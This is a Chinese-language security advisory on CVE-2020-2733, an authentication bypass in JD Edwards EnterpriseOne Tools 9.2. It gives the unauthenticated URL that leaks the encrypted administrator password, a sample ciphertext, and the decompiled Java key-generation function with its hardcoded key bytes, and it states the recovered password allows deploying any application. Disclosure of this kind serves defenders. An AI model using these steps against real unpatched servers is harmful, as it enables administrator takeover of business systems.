图 1: 解密字符串
图 2: 通过给定 URL 解密
应用程序: JD Edwards EnterpriseOne Tools
受影响版本: JD Edwards EnterpriseOne Tools 9.2
厂商 URL: https://oracle.com/
漏洞类型: 信息泄露
报告日期: 2019年9月18日
公开安全公告日期: 2022年8月23日
参考: [https://www.oracle.com/security-alerts/cpuapr2020.html, https://redrays.io/cve-2020-2733-jd-edwards/]
用于检测的 Nuclei 模板: https://github.com/projectdiscovery/nuclei-templates/blob/68f0ad5fa2f54a08959e2d68633174750fcb4952/http/cves/2020/CVE-2020-2733.yaml#L2
安全公告信息
标题: [CVE-2020-2733] JD Edwards EnterpriseOne Tools 管理员密码保护不足
风险级别: 严重
安全公告 URL: https://redrays.io/cve-2020-6369-patch-bypass/
发布日期: 2022年8月23日
远程可利用: 是
本地可利用: 否
CVSS 信息: CVSS v3.1 基础评分: 9.8 / 10 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
JD Edwards EnterpriseOne Tools 9.2 或更低版本允许未经身份验证的攻击者绕过身份验证,获取系统管理员权限。
该漏洞存在于 Oracle JD Edwards 管理门户中。要复现该漏洞,您需要(无需身份验证)打开以下 URL:
http://JDEdwards:8999/manage/fileDownloader?sec=1
打开该 URL 后,您可以在页面中看到伪随机文本。

ACHCJKGJHCJKBLLALOLOJFCABEFHOALDDAOFNGGANPDB
在分析 JD Edwards jar 文件后,我们发现这些伪随机数据正是——加密的管理员密码!
加密密钥位于以下函数中:
private static void genKeys(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte paramByte)
{
int i = 0;
byte[] arrayOfByte1 = { 65, 4, 95, 12, 88, 41, 6, 114, 119, 93, 37, 68, 75, 19, 49, 46 };
byte[] arrayOfByte2 = { 107, 34, 26, 94, 68, 41, 119, 48, 3, 88, 28, 97, 5, Byte.MAX_VALUE, 77, 54 };
byte[] arrayOfByte3 = { 36, 89, 113, 109, 38, 15, 7, 66, 76, 115, 16, 53, 106, 94, 27, 56 };
int j = paramByte >> 4;
int k = paramByte & 0xF;
int m = arrayOfByte3[j];
for (i = 0; i < 16; i++) {
paramArrayOfByte1[i] = ((byte)(arrayOfByte1[i] ^ m));
}
m = arrayOfByte3[k];
for (i = 0; i < 16; i++) {
paramArrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ m));
}
}
结果,您将获得管理员密码,并可以在 JD Edwards 门户中部署任何应用程序。
